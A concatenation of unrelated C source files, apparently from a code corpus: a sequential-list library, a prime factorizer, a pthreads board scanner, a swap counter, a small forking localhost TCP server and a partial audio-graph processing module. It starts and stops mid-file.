sq->data[i+1] = va;
break;
}
}
return 0;
}
int chg_va_seqlist(seqlist *sq,datatype old_va,datatype va)
{
int i = 0;
if(NULL == sq) return -1;
for(;i<sq->count;i++)
{
if(sq->data[i] == old_va)
{
sq->data[i] = va;
break;
}
if(i == sq->count-1)
return -2;
}
return 0;
}
int chg_pos_seqlist(seqlist *sq,int pos,datatype va)
{
int i = 0;
if(NULL == sq) return -1;
if((pos<=0)||(pos>sq->count)) return -2;
sq->data[pos-1] = va;
return 0;
}
int del_va_seqlist(seqlist *sq,datatype va)
{
int ret = 0,i = 0,j = 0,flag = 0;
if(NULL == sq) return -1;
ret = empty_seqlist(sq);
if(ret == -1) return -1;
else if(ret == -2) return -2;
else
{
for(i=0;i<sq->count;i++)
{
if(sq->data[i] == va)
{
for(j=i;j<sq->count;j++)
{
sq->data[j] = sq->data[j+1];
}
sq->count--;
i--;
flag = 1;
// break;
}
// if(i == sq->count-1) return -3;
if(!flag) return -3;
}
}
}
int del_pos_seqlist(seqlist *sq,int pos)
{
int i =0;
if(NULL == sq) return -1;
if(empty_seqlist(sq)==-2) return -2;
if((pos>sq->count)||(pos<=0))return -3;
for(i=pos-1;i<sq->count;i++)
{
sq->data[i] = sq->data[i+1];
}
sq->count--;
return 0;
}
int show_seqlist(seqlist *sq)
{
int i= 0;
if(NULL == sq) return -1;
for(i=0;i<sq->count;i++)
printf("%d ",sq->data[i]);
printf("\n");
return 0;
}
int full_seqlist(seqlist *sq)
{
if(NULL == sq) return -1;
if(sq->count >= N) return -2;
return 0;
}
int empty_seqlist(seqlist *sq)
{
if(NULL == sq) return -1;
if(sq->count <= 0) return -2;
return 0;
}
int free_seqlist(seqlist *sq)
{
if(NULL == sq) return -1;
free(sq);
return 0;
}
|
C | #include<stdio.h>
#include<math.h>
#include<conio.h>
int r,v,i,p,n,drp,d[100];
void main()
{
do
{printf("donner le nombre");
scanf("%d",&n);
v=0;
r=n;
p=2;
}
while(n>100);
do
{
drp=0;
for(i=2;i<p-1;i++)
{
if((p%i)==0)
drp=1;
}
if(drp==0)
{
do
{
if((n%p)==0)
{
d[v]=p;
v=v+1;
n=n/p;
}
}
while((n%p==0));
}
p=p+1;
}
while(n>1);
n=r;
printf("n=\n");
for(i=0;i<v;i++)
{
printf("\n %d",d[i]);
}
puts("\n tapper une touche pour continuer ....");
getch();
}
|
C | #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<pthread.h>
#define block_first(i,T,N) (((i) * (N)) / (T))
#define block_last(i,T,N) (block_first(i+1,T,N) - 1)
#define block_size(i,T,N) (block_first(i+1,T,N) - block_first(i,T,N))
typedef struct {
int start;
int len;
char* a;
int n;
pthread_mutex_t* mutex;
} thr_struct;
void* thr_func(void* arg) {
int start = ((thr_struct*)arg)->start;
char* a = ((thr_struct*)arg)->a;
int n = ((thr_struct*)arg)->n;
pthread_mutex_t* mutex = ((thr_struct*)arg)->mutex;
int len = ((thr_struct*)arg)->len;
for(int k = 0; k < len; ++k) {
if(a[k] == 'o') {
int i = (k + start) / n;
int j = (k + start) % n;
pthread_mutex_lock(mutex);
printf("(%d, %d)\n", i, j);
pthread_mutex_unlock(mutex);
}
}
}
int main(int argc, char **argv) {
int P, M, N;
pthread_t* thr_idx;
thr_struct* thr_str;
pthread_mutex_t mutex;
if(argc != 5) {
fprintf(stderr, "usage: %s P M N a.txt\n", argv[0]);
return 1;
}
if((P = atoi(argv[1])) <= 0 || (M = atoi(argv[2])) <= 0 || (N = atoi(argv[3])) <= 0) {
fprintf(stderr, "Number of threads and both dimensions of the board must be positive integers.\n");
return 1;
}
char* a;
if((a = (char*)malloc((M * N + 1) * sizeof(char))) == NULL) {
fprintf(stderr, "Error alocating memory.\n");
return 1;
}
a[0] = '\0';
FILE* file =fopen(argv[4], "r");
if(file) {
char *tmp = a;
while(1) {
if(fscanf(file, "%s", tmp) <= 0) {
break;
}
tmp += strlen(tmp);
}
} else {
fprintf(stderr, "error opening file.\n");
free(a);
return 1;
}
if((thr_idx = (pthread_t*)malloc(P * sizeof(pthread_t))) == NULL) {
fprintf(stderr, "Error alocating memory.\n");
free(a);
return 1;
}
if ((thr_str = (thr_struct*)malloc(P * sizeof(thr_struct))) == NULL) {
fprintf(stderr, "Error alocating memory.\n");
free(thr_idx);
free(a);
return 1;
}
pthread_mutex_init(&mutex, NULL);
for(int i = 0; i < P; ++i) {
thr_str[i].len = block_size(i, P, M * N);
thr_str[i].n = N;
int start = block_first(i, P, M * N);
thr_str[i].start = start;
thr_str[i].a = a + start;
thr_str[i].mutex = &mutex;
if(pthread_create(&thr_idx[i], NULL, thr_func, (void*) &thr_str[i])) {
fprintf(stderr, "Error creating thread.\n");
free(a);
free(thr_str);
free(thr_idx);
return 1;
}
}
for(int i = 0; i < P; ++i) {
if(pthread_join(thr_idx[i], NULL)) {
fprintf(stderr, "Error joining thread number %d.\n", i);
free(a);
free(thr_idx);
free(thr_str);
return 1;
}
}
pthread_mutex_destroy(&mutex);
free(a);
free(thr_idx);
free(thr_str);
return 0;
}
|
C | #include <stdio.h>
int main()
{
int t,L,S,i,carriage[55],j;
while(scanf("%d",&t) == 1){
while(t >= 1){
scanf("%d",&L);
for(i = 0;i < L;i++)
scanf("%d",&carriage[i]);
S = 0;
for(i = 0;i < L;i++){
for(j = i + 1;j < L;j++){
if(carriage[i] > carriage[j]){
carriage[i] = carriage[i]^carriage[j];
carriage[j] = carriage[i]^carriage[j];
carriage[i] = carriage[i]^carriage[j];
S++;
}
}
}
printf("Optimal train swapping takes %d swaps.\n",S);
t--;
}
}
return 0;
}
|
C | #include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <sys/un.h>
#include <netinet/in.h>
#include <signal.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
typedef struct sockaddr_in SOCK_ADDRESS;
#define true 1
#define false 0
int main()
{
int server_sockfd;
int client_sockfd;
int client_len;
SOCK_ADDRESS server_address;
SOCK_ADDRESS client_address;
server_sockfd = socket( PF_INET, SOCK_STREAM, 0 );
server_address.sin_family = PF_INET;
server_address.sin_addr.s_addr = inet_addr("127.0.0.1");
server_address.sin_port = htons(10002);
bind( server_sockfd, (struct sockaddr *)&server_address, sizeof(server_address) );
listen( server_sockfd, 5 );
signal( SIGCHLD, SIG_IGN );
while(true)
{
char ch;
printf("server waiting\n");
client_len = sizeof(client_address);
client_sockfd = accept( server_sockfd, (struct sockaddr *)&client_address, &client_len );
if( fork() == 0 )
{
read( client_sockfd, &ch, 1 );
sleep( 5 );
ch++;
write( client_sockfd, &ch, 1 );
close( client_sockfd );
exit(0);
}
else
{
close( client_sockfd );
}
}
}
|
C | #include <stdlib.h>
#include <string.h>
#include <assert.h>
#include "mathext.h"
#include "linxaudio.h"
#if defined(_MSC_VER) && _MSC_VER < 1200
float fminf(float a, float b) {
return (((a)<(b))?(a):(b));
}
float fmaxf(float a, float b) {
return (((a)>(b))?(a):(b));
}
#endif
void dsp_mix(float* dest, float* src, int sample_count) {
int i;
for (i = 0; i < sample_count; i++) {
dest[i] += src[i];
}
}
void dsp_mix_amp(float* dest, float* src, int sample_count, float amp) {
int i;
for (i = 0; i < sample_count; i++) {
dest[i] += src[i] * amp;
}
}
void dsp_copy_amp(float* dest, float* src, int sample_count, float amp) {
int i;
for (i = 0; i < sample_count; i++) {
dest[i] = src[i] * amp;
}
}
unsigned int midi_make(unsigned char channel, unsigned char command, unsigned char data1, unsigned char data2) {
unsigned int message = ((unsigned int)data2 << 16) | ((unsigned int)data1 << 8) | (((unsigned int)command & 0x0f) << 4) | ((unsigned int)channel & 0x0f);
return message;
}
void midi_parse(unsigned int message, unsigned short* status, unsigned char* channel, unsigned char* command, unsigned char* data1, unsigned char* data2) {
*status = message & 0xff;
*channel = message & 0x0f;
*command = (message & 0xf0) >> 4;
*data1 = (message >> 8) & 0xff;
*data2 = (message >> 16) & 0xff;
}
int linx_pin_is_buffer(enum linx_pin_type type) {
switch (type) {
case linx_pin_type_in_buffer_float:
case linx_pin_type_out_buffer_float:
return 1;
default:
return 0;
}
}
int linx_pin_is_in(enum linx_pin_type type) {
switch (type) {
case linx_pin_type_in_scalar_int:
case linx_pin_type_in_scalar_float:
case linx_pin_type_in_buffer_float:
case linx_pin_type_in_midi:
return 1;
default:
return 0;
}
}
int linx_pin_is_out(enum linx_pin_type type) {
return !linx_pin_is_in(type);
}
void linx_clear_buffers(struct linx_buffer* buffers, struct linx_pin* pins, int pin_count) {
int i;
for (i = 0; i < pin_count; i++) {
struct linx_pin* p = &pins[i];
switch (p->pin_type ) {
case linx_pin_type_out_buffer_float:
case linx_pin_type_in_buffer_float:
buffers[i].write_count = 0;
break;
default:
break; // OK - ignore
}
}
}
void linx_allocate_buffers(struct linx_buffer* buffers, struct linx_pin* pins, int pin_count) {
int i;
for (i = 0; i < pin_count; i++) {
struct linx_pin* p = &pins[i];
switch (p->pin_type ) {
case linx_pin_type_out_buffer_float:
case linx_pin_type_in_buffer_float:
buffers[i].float_buffer = (float*)malloc(sizeof(float) * linx_max_buffer_size);
memset(buffers[i].float_buffer, 0, sizeof(float) * linx_max_buffer_size);
break;
default:
break; // OK - ignore
}
}
}
void linx_free_buffers(struct linx_buffer* buffers, struct linx_pin* pins, int pin_count) {
int i;
for (i = 0; i < pin_count; i++) {
struct linx_pin* p = &pins[i];
switch (p->pin_type ) {
case linx_pin_type_out_buffer_float:
case linx_pin_type_in_buffer_float:
free(buffers[i].float_buffer);
break;
default:
break; // OK - ignore
}
}
}
int linxp_vertdeps_get_zero_count(int* vertdeps, int vertex_count) {
int result = 0;
int i;
for (i = 0; i < vertex_count; i++) {
if (vertdeps[i] == 0) result++;
}
return result;
}
int* linxp_vertdeps_create(struct linx_graph_definition* graph) {
int i;
int vertex_count = graph->vertex_count;
int* vertdeps = (int*)malloc(sizeof(int) * vertex_count);
memset(vertdeps, 0, sizeof(int) * vertex_count);
for (i = 0; i < graph->edge_count; i++) {
struct linx_edge_definition* e = &graph->edges[i];
if (e->to_vertex == linx_parent_graph_vertex_id || e->from_vertex == linx_parent_graph_vertex_id) {
continue;
}
vertdeps[e->to_vertex]++;
}
return vertdeps;
}
void linxp_vertdeps_adjust(struct linx_graph_definition* graph, int* vertdeps, int* zeros, int zero_count) {
int i, j;
for (i = 0; i < graph->edge_count; i++) {
struct linx_edge_definition* e = &graph->edges[i];
for (j = 0; j < zero_count; j++) {
if (e->to_vertex == linx_parent_graph_vertex_id || e->from_vertex == linx_parent_graph_vertex_id) {
continue;
}
if (e->from_vertex == zeros[j]) {
vertdeps[e->to_vertex]--;
}
}
}
}
int linxp_get_processing_layer_count(struct linx_graph_definition* graph) {
int i;
int zeros[max_vertices_per_layer];
int done_count;
int zero_index;
int result;
int vertex_count = graph->vertex_count;
int* vertdeps = linxp_vertdeps_create(graph);
result = 0;
while (1) {
done_count = 0;
zero_index = 0;
for (i = 0; i < vertex_count; i++) {
if (vertdeps[i] == -1) {
done_count++;
} else if (vertdeps[i] == 0) {
assert(zero_index < max_vertices_per_layer);
vertdeps[i]--;
zeros[zero_index] = i;
zero_index++;
}
}
linxp_vertdeps_adjust(graph, vertdeps, zeros, zero_index);
if (done_count == vertex_count) {
break;
}
result++;
}
free(vertdeps);
return result;
}
void linx_processing_order_create(struct linx_graph_definition* graph, struct linx_processing_order* result) {
int i;
int* zeros;
int zero_index, zero_count;
int vertex_count = graph->vertex_count;
int layer_count = linxp_get_processing_layer_count(graph);
int layer_index = 0;
int* vertdeps = linxp_vertdeps_create(graph);
result->layer_count = layer_count;
result->layers = (struct linx_processing_layer*)malloc(sizeof(struct linx_processing_layer) * layer_count);
while (1) {
zero_index = 0;
zero_count = linxp_vertdeps_get_zero_count(vertdeps, vertex_count);
if (zero_count == 0) {
break;
}
zeros = (int*)malloc(sizeof(int) * zero_count);
for (i = 0; i < vertex_count; i++) {
if (vertdeps[i] == 0) {
vertdeps[i]--;
zeros[zero_index] = i;
zero_index++;
}
}
linxp_vertdeps_adjust(graph, vertdeps, zeros, zero_count);
result->layers[layer_index].vertex_count = zero_count;
result->layers[layer_index].vertices = zeros;
layer_index++;
}
free(vertdeps);
}
void linx_processing_order_free(struct linx_processing_order* result) {
int i;
for (i = 0; i < result->layer_count; i++) {
struct linx_processing_layer* layer = &result->layers[i];
free(layer->vertices);
}
free(result->layers);
}
float linx_get_init_value_float(struct linx_value* init_values, int init_value_count, int pin_index, enum linx_pin_group pin_group, float default_value) {
int i;
for (i = 0; i < init_value_count; i++) {
if (init_values[i].pin_index == pin_index && init_values[i].pin_group == pin_group) {
return init_values[i].floatvalue;
}
}
return default_value;
}
int linx_get_init_value_int(struct linx_value* init_values, int init_value_count, int pin_index, enum linx_pin_group pin_group, int default_value) {
int i;
for (i = 0; i < init_value_count; i++) {
if (init_values[i].pin_index == pin_index && init_values[i].pin_group == pin_group) {
return init_values[i].intvalue;
}
}
return default_value;
}
void linxp_init_current_value(struct linx_pin* pin, int pin_index, enum linx_pin_group pin_group, struct linx_value* init_values, int init_value_count, struct linx_value_array* in_values) {
float floatvalue;
int intvalue;
switch (pin->pin_type) {
case linx_pin_type_in_scalar_float:
floatvalue = linx_get_init_value_float(init_values, init_value_count, pin_index, linx_pin_group_module, pin->default_value);
linx_value_array_push_float(in_values, pin_index, pin_group, floatvalue, 0);
break;
case linx_pin_type_in_scalar_int:
intvalue = linx_get_init_value_int(init_values, init_value_count, pin_index, linx_pin_group_module, (int)pin->default_value);
linx_value_array_push_int(in_values, pin_index, pin_group, intvalue, 0);
break;
default:
break; // OK - ignore
}
}
void linx_buffer_write(struct linx_buffer* to_buffer, float* srcbuffer, int sample_count) {
assert(srcbuffer != 0);
assert(to_buffer->float_buffer != 0);
if (to_buffer->write_count == 0) {
memcpy(to_buffer->float_buffer, srcbuffer, sizeof(float) * sample_count);
} else {
dsp_mix(to_buffer->float_buffer, srcbuffer, sample_count);
}
to_buffer->write_count ++;
}
void linx_buffer_read(float* destbuffer, struct linx_buffer* srcbuffer, int sample_count) {
assert(destbuffer != 0);
assert(srcbuffer->float_buffer != 0);
if (srcbuffer->write_count == 0) {
memset(destbuffer, 0, sizeof(float) * sample_count);
} else {
memcpy(destbuffer, srcbuffer->float_buffer, sizeof(float) * sample_count);
}
}
void linx_buffer_copy_chunk(struct linx_buffer* dest_buffer, struct linx_buffer* src_buffer, int dest_offset, int src_offset, int sample_count) {
if (src_buffer->write_count == 0) {
// if already wrote something, memset 0 for this chunk
if (dest_buffer->write_count > 0) {
memset(dest_buffer->float_buffer + dest_offset, 0, sizeof(float) * sample_count);
}
} else if (src_buffer->write_count > 0) {
if (dest_buffer->write_count == 0 && dest_offset > 0) {
// clear start of buffer if first chunk of samples comes after a chunk of silence
memset(dest_buffer->float_buffer, 0, sizeof(float) * dest_offset);
}
memcpy(dest_buffer->float_buffer + dest_offset, src_buffer->float_buffer + src_offset, sizeof(float) * sample_count);
dest_buffer->write_count = 1;
}
}
struct linx_buffer* linx_graph_instance_get_propagated_pin_buffer(struct linx_graph_instance* instance, int pin_index) {
struct linx_pin_ref* pinref = &instance->graph->propagated_pins[pin_index];
switch (pinref->pin_group) {
case linx_pin_group_module:
return &instance->vertex_data[pinref->vertex].pin_buffers[pinref->pin_index];
break;
case linx_pin_group_propagated:
return &instance->vertex_data[pinref->vertex].propagated_pin_buffers[pinref->pin_index];
default:
assert(0);
return 0;
}
}
float linx_vertex_definition_get_pin_default_init_value(struct linx_vertex_definition* vertdef, int pin_index) {
// override propagated pin default value with vertex init value or pin default value
struct linx_pin* pin = &vertdef->factory->pins[pin_index];
switch (pin->pin_type) {
case linx_pin_type_in_scalar_int:
return linx_get_init_value_int(vertdef->init_values, vertdef->init_value_count, pin_index, linx_pin_group_module, pin->default_value);
case linx_pin_type_in_scalar_float:
return linx_get_init_value_float(vertdef->init_values, vertdef->init_value_count, pin_index, linx_pin_group_module, pin->default_value);
default:
return 0.0f;
}
}
struct linx_graph_instance* linx_graph_definition_create_instance(struct linx_graph_definition* graph, int samplerate) {
int i, j;
struct linx_graph_instance* result;
int in_value_count = 0;
result = (struct linx_graph_instance*)malloc(sizeof(struct linx_graph_instance));
result->graph = graph;
result->vertex_data = (struct linx_vertex_instance*)malloc(sizeof(struct linx_vertex_instance) * graph->vertex_count);
result->edge_data = (struct linx_edge_instance*)malloc(sizeof(struct linx_edge_instance) * graph->edge_count);
result->propagated_pins = (struct linx_pin*)malloc(sizeof(struct linx_pin) * graph->propagated_pin_count);
for (i = 0; i < graph->propagated_pin_count; i++) {
struct linx_vertex_definition* resolved_vertdef;
int resolved_pin_index;
struct linx_pin* pin = linx_graph_definition_resolve_pin(graph, i, &resolved_vertdef, &resolved_pin_index);
assert(pin != 0);
result->propagated_pins[i] = *pin;
// override propagated pin default value with vertex init value or pin default value
result->propagated_pins[i].default_value = linx_vertex_definition_get_pin_default_init_value(resolved_vertdef, resolved_pin_index);
}
linx_processing_order_create(graph, &result->processing_order);
for (i = 0; i < graph->vertex_count; i++) {
struct linx_vertex_definition* v = &graph->vertices[i];
struct linx_vertex_instance* pv = &result->vertex_data[i];
if (v->subgraph != NULL) {
pv->subgraph = linx_graph_definition_create_instance(v->subgraph, samplerate);
} else {
pv->subgraph = NULL;
}
pv->vertex = v;
pv->in_values = linx_value_array_create(max_value_queue_per_vertex);
pv->out_values = linx_value_array_create(max_value_queue_per_vertex);
pv->subgraph_in_values = linx_value_array_create(max_value_queue_per_vertex);
pv->subgraph_out_values = linx_value_array_create(max_value_queue_per_vertex);
pv->last_in_values = (struct linx_value*)malloc(sizeof(struct linx_value) * v->factory->pin_count);
// allocate buffers for buffer pins
pv->pin_buffers = (struct linx_buffer*)malloc(sizeof(struct linx_buffer) * v->factory->pin_count);
memset(pv->pin_buffers, 0, sizeof(struct linx_buffer) * v->factory->pin_count);
linx_allocate_buffers(pv->pin_buffers, v->factory->pins, v->factory->pin_count);
if (v->subgraph != NULL) {
pv->propagated_pin_buffers = (struct linx_buffer*)malloc(sizeof(struct linx_buffer) * v->subgraph->propagated_pin_count);
memset(pv->propagated_pin_buffers, 0, sizeof(struct linx_buffer) * v->subgraph->propagated_pin_count);
linx_allocate_buffers(pv->propagated_pin_buffers, pv->subgraph->propagated_pins, v->subgraph->propagated_pin_count);
}
// queue default values
in_value_count = 0;
for (j = 0; j < v->factory->pin_count; j++) {
struct linx_pin* p = &v->factory->pins[j];
linxp_init_current_value(p, j, linx_pin_group_module, v->init_values, v->init_value_count, pv->in_values);
}
pv->subgraph_pin_buffers = (struct linx_buffer*)malloc(sizeof(struct linx_buffer) * v->factory->subgraph_pin_count);
memset(pv->subgraph_pin_buffers, 0, sizeof(struct linx_buffer) * v->factory->subgraph_pin_count);
linx_allocate_buffers(pv->subgraph_pin_buffers, v->factory->subgraph_pins, v->factory->subgraph_pin_count);
// call module factory provided initialisation code
v->factory->create(pv, samplerate);
}
result->snapshot = linx_graph_instance_create_snapshot(result, samplerate);
return result;
}
void linx_graph_instance_destroy(struct linx_graph_instance* graph) {
int i;
for (i = 0; i < graph->graph->vertex_count; i++) {
struct linx_vertex_instance* vertex_instance = &graph->vertex_data[i];
struct linx_vertex_definition* vertex_definition = &graph->graph->vertices[i];
if (vertex_instance->subgraph) {
linx_graph_instance_destroy(vertex_instance->subgraph);
}
vertex_definition->factory->destroy(vertex_instance);
linx_value_array_free(vertex_instance->in_values);
linx_value_array_free(vertex_instance->out_values);
linx_value_array_free(vertex_instance->subgraph_in_values);
linx_value_array_free(vertex_instance->subgraph_out_values);
free(vertex_instance->last_in_values);
linx_free_buffers(vertex_instance->pin_buffers, vertex_definition->factory->pins, vertex_definition->factory->pin_count);
linx_free_buffers(vertex_instance->subgraph_pin_buffers, vertex_definition->factory->subgraph_pins, vertex_definition->factory->subgraph_pin_count);
free(vertex_instance->pin_buffers);
free(vertex_instance->subgraph_pin_buffers);
}
linx_processing_order_free(&graph->processing_order);
linx_graph_instance_free_snapshot(graph);
free(graph->vertex_data);
free(graph->edge_data);
free(graph->propagated_pins);
free(graph);
}
void get_edge_vertex_pin(struct linx_graph_instance* graph, struct linx_vertex_instance* context, int vertex, int pin_index, enum linx_pin_group pin_group, struct linx_vertex_instance** result_vertexdata, struct linx_pin** result_pin, struct linx_value_array** result_in_queue, struct linx_value_array** result_out_queue, struct linx_buffer** result_buffer) {
struct linx_vertex_instance* to_vertexdata;
struct linx_pin* to_pin;
struct linx_value_array* to_in_queue;
struct linx_value_array* to_out_queue;
struct linx_buffer* buffer;
if (vertex == linx_parent_graph_vertex_id) {
assert(pin_group == linx_pin_group_module);
to_vertexdata = context;
assert(pin_index < to_vertexdata->vertex->factory->subgraph_pin_count);
to_pin = &to_vertexdata->vertex->factory->subgraph_pins[pin_index];
to_in_queue = to_vertexdata->subgraph_out_values; // note: subgraph in/ou are swapped, because they work opposite, in some way
to_out_queue = to_vertexdata->subgraph_in_values;
buffer = &to_vertexdata->subgraph_pin_buffers[pin_index];
} else {
to_vertexdata = &graph->vertex_data[vertex];
if (pin_group == linx_pin_group_module) {
assert(pin_index < to_vertexdata->vertex->factory->pin_count);
to_pin = &to_vertexdata->vertex->factory->pins[pin_index];
buffer = &to_vertexdata->pin_buffers[pin_index];
} else if (pin_group == linx_pin_group_propagated) {
assert(pin_index < to_vertexdata->subgraph->graph->propagated_pin_count);
to_pin = &to_vertexdata->subgraph->propagated_pins[pin_index];
buffer = &to_vertexdata->propagated_pin_buffers[pin_index];
} else {
assert(0);
}
to_in_queue = to_vertexdata->in_values;
to_out_queue = to_vertexdata->out_values;
}
*result_vertexdata = to_vertexdata;
*result_pin = to_pin;
*result_in_queue = to_in_queue;
*result_out_queue = to_out_queue;
*result_buffer = buffer;
assert((buffer == 0 || buffer->float_buffer == 0) || linx_pin_is_buffer(to_pin->pin_type));
}
// edge processors: one function for each kind of connection
// void process_edge_XX_YY(...)
// XX = from pin type
// YY = to pin type
// XX/YY:
// fb = float-buffer (removed)
// ib = int-buffer
// fs = float-scalar
// is = int-scalar
// m = midi
// to=from: float-scalar = float-scalar
void process_edge_fs_fs(struct linx_graph_instance* graph, struct linx_vertex_instance* context, int to_pin_index, enum linx_pin_group to_pin_group, struct linx_value_array* to_values, int from_pin_index, enum linx_pin_group from_pin_group, struct linx_value_array* from_values, int sample_count) {
int i;
for (i = 0; i < from_values->length; i++) {
if (from_values->items[i].pin_index == from_pin_index && from_values->items[i].pin_group == from_pin_group && from_values->items[i].timestamp >= 0) {
linx_value_array_push_float(to_values, to_pin_index, to_pin_group, from_values->items[i].floatvalue, from_values->items[i].timestamp);
}
}
}
// to=from: int-scalar = float-scalar
void process_edge_is_fs(struct linx_graph_instance* graph, struct linx_vertex_instance* context, int to_pin_index, enum linx_pin_group to_pin_group, struct linx_value_array* to_values, int from_pin_index, enum linx_pin_group from_pin_group, struct linx_value_array* from_values, int sample_count) {
int i;
for (i = 0; i < from_values->length; i++) {
if (from_values->items[i].pin_index == from_pin_index && from_values->items[i].pin_group == from_pin_group && from_values->items[i].timestamp >= 0) {
linx_value_array_push_int(to_values, to_pin_index, to_pin_group, (int)from_values->items[i].floatvalue, from_values->items[i].timestamp);
}
}
}
// to=from: float-scalar = int-scalar
void process_edge_fs_is(struct linx_graph_instance* graph, struct linx_vertex_instance* context, int to_pin_index, enum linx_pin_group to_pin_group, struct linx_value_array* to_values, int from_pin_index, enum linx_pin_group from_pin_group, struct linx_value_array* from_values, int sample_count) {
int i;
for (i = 0; i < from_values->length; i++) {
if (from_values->items[i].pin_index == from_pin_index && from_values->items[i].pin_group == from_pin_group && from_values->items[i].timestamp >= 0) {
linx_value_array_push_float(to_values, to_pin_index, to_pin_group, from_values->items[i].intvalue, from_values->items[i].timestamp);
}
}
}
// to=from: int-scalar = int-scalar
void process_edge_is_is(struct linx_graph_instance* graph, struct linx_vertex_instance* context, int to_pin_index, enum linx_pin_group to_pin_group, struct linx_value_array* to_values, int from_pin_index, enum linx_pin_group from_pin_group, struct linx_value_array* from_values, int sample_count) {
int i;
for (i = 0; i < from_values->length; i++) {
if (from_values->items[i].pin_index == from_pin_index && from_values->items[i].pin_group == from_pin_group && from_values->items[i].timestamp >= 0) {
linx_value_array_push_int(to_values, to_pin_index, to_pin_group, from_values->items[i].intvalue, from_values->items[i].timestamp);
}
}
}
// to=from: midi = midi
void process_edge_midi_midi(struct linx_graph_instance* graph, struct linx_vertex_instance* context, int to_pin_index, enum linx_pin_group to_pin_group, struct linx_value_array* to_values, int from_pin_index, enum linx_pin_group from_pin_group, struct linx_value_array* from_values, int sample_count) {
int i;
for (i = 0; i < from_values->length; i++) {
if (from_values->items[i].pin_index == from_pin_index && from_values->items[i].pin_group == from_pin_group && from_values->items[i].timestamp >= 0) {
linx_value_array_push_midi(to_values, to_pin_index, to_pin_group, from_values->items[i].midimessage, from_values->items[i].timestamp);
}
}
}
void linxp_graph_process_edge(struct linx_graph_instance* graph, struct linx_vertex_instance* context, struct linx_edge_definition* edge, int sample_count) {
struct linx_vertex_instance* to_vertexdata;
struct linx_pin* to_pin;
struct linx_vertex_definition* from_vertex;
struct linx_vertex_instance* from_vertexdata;
struct linx_pin* from_pin;
struct linx_value_array* from_in_queue;
struct linx_value_array* from_out_queue;
struct linx_value_array* to_in_queue;
struct linx_value_array* to_out_queue;
struct linx_buffer* to_buffer;
struct linx_buffer* from_buffer;
get_edge_vertex_pin(graph, context, edge->to_vertex, edge->to_pin_index, edge->to_pin_group, &to_vertexdata, &to_pin, &to_in_queue, &to_out_queue, &to_buffer);
get_edge_vertex_pin(graph, context, edge->from_vertex, edge->from_pin_index, edge->from_pin_group, &from_vertexdata, &from_pin, &from_in_queue, &from_out_queue, &from_buffer);
switch (from_pin->pin_type) {
case linx_pin_type_out_buffer_float:
switch (to_pin->pin_type) {
case linx_pin_type_in_buffer_float:
if (from_buffer->write_count > 0) {
linx_buffer_write(to_buffer, from_buffer->float_buffer, sample_count);
}
break;
default:
assert(0);
break;
}
break;
case linx_pin_type_out_scalar_float:
switch (to_pin->pin_type) {
case linx_pin_type_in_scalar_float:
process_edge_fs_fs(graph, context, edge->to_pin_index, edge->to_pin_group, to_in_queue, edge->from_pin_index, edge->from_pin_group, from_out_queue, sample_count);
break;
case linx_pin_type_in_scalar_int:
process_edge_is_fs(graph, context, edge->to_pin_index, edge->to_pin_group, to_in_queue, edge->from_pin_index, edge->from_pin_group, from_out_queue, sample_count);
break;
default:
assert(0);
break;
}
break;
case linx_pin_type_out_scalar_int:
switch (to_pin->pin_type) {
case linx_pin_type_in_scalar_float:
process_edge_fs_is(graph, context, edge->to_pin_index, edge->to_pin_group, to_in_queue, edge->from_pin_index, edge->from_pin_group, from_out_queue, sample_count);
break;
case linx_pin_type_in_scalar_int:
process_edge_is_is(graph, context, edge->to_pin_index, edge->to_pin_group, to_in_queue, edge->from_pin_index, edge->from_pin_group, from_out_queue, sample_count);
break;
default:
assert(0);
break;
}
break;
case linx_pin_type_out_midi:
switch (to_pin->pin_type) {
case linx_pin_type_in_midi:
process_edge_midi_midi(graph, context, edge->to_pin_index, edge->to_pin_group, to_in_queue, edge->from_pin_index, edge->from_pin_group, from_out_queue, sample_count);
break;
default:
assert(0);
break;
}
break;
default:
assert(0);
break;
}
}
void linxp_graph_process_to_edges(struct linx_graph_instance* graph, struct linx_vertex_instance* context, int vertex_index, int sample_count) {
int i;
for (i = 0; i < graph->graph->edge_count; i++) {
struct linx_edge_definition* edge = &graph->graph->edges[i];
struct linx_edge_instance* edgedata = &graph->edge_data[i];
if (edge->to_vertex == vertex_index) {
linxp_graph_process_edge(graph, context, edge, sample_count);
}
}
}
void copy_pin_buffers(struct linx_buffer* dest_buffers, struct linx_buffer* src_buffers, struct linx_pin* pins, int pin_count, int chunk_offset) {
int i;
for (i = 0; i < pin_count; i++) {
struct linx_pin* pin = &pins[i];
switch (pin->pin_type) {
case linx_pin_type_in_buffer_float:
if (src_buffers[i].write_count > 0) {
dest_buffers[i].float_buffer = src_buffers[i].float_buffer + chunk_offset;
dest_buffers[i].write_count = 1;
} else {
dest_buffers[i].float_buffer = 0;
dest_buffers[i].write_count = 0;
}
break;
case linx_pin_type_out_buffer_float:
dest_buffers[i].float_buffer = src_buffers[i].float_buffer + chunk_offset;
dest_buffers[i].write_count = 0;
break;
default:
dest_buffers[i].float_buffer = 0;
dest_buffers[i].write_count = 0;
break;
}
}
}
void update_pin_buffers(struct linx_buffer* dest_buffers, struct linx_buffer* src_buffers, struct linx_pin* pins, int pin_count, int chunk_offset, int sample_count) {
int i;
for (i = 0; i < pin_count; i++) {
struct linx_pin* pin = &pins[i];
switch (pin->pin_type) {
case linx_pin_type_out_buffer_float:
linx_buffer_copy_chunk(&dest_buffers[i], &src_buffers[i], chunk_offset, 0, sample_count);
break;
default:
break;
}
}
}
void linxp_graph_process_vertex(struct linx_graph_instance* graph, struct linx_vertex_instance* context, int vertex, int sample_count) {
int i, j;
struct linx_vertex_definition* vert;
struct linx_vertex_instance* vertdata;
struct linx_pin* param;
struct linx_value chunk_in_value_data[max_value_queue_per_vertex];
struct linx_value chunk_out_value_data[max_value_queue_per_vertex];
struct linx_value_array chunk_in_values = { chunk_in_value_data, 0, max_value_queue_per_vertex };
struct linx_value_array chunk_out_values = { chunk_out_value_data, 0, max_value_queue_per_vertex };
vert = &graph->graph->vertices[vertex];
vertdata = &graph->vertex_data[vertex];
// enumerate incoming edges: in audio, in midi, in values
linxp_graph_process_to_edges(graph, context, vertex, sample_count);
// now the input pin buffers on this plugin are mixed!
// also incoming events fom previous layer are queued in the plugin
// set last_in_values from in_values, only where timestamps are less than sample_count
linx_value_array_set_last_values(vertdata->last_in_values, vertdata->in_values, vert->factory->pin_count, sample_count);
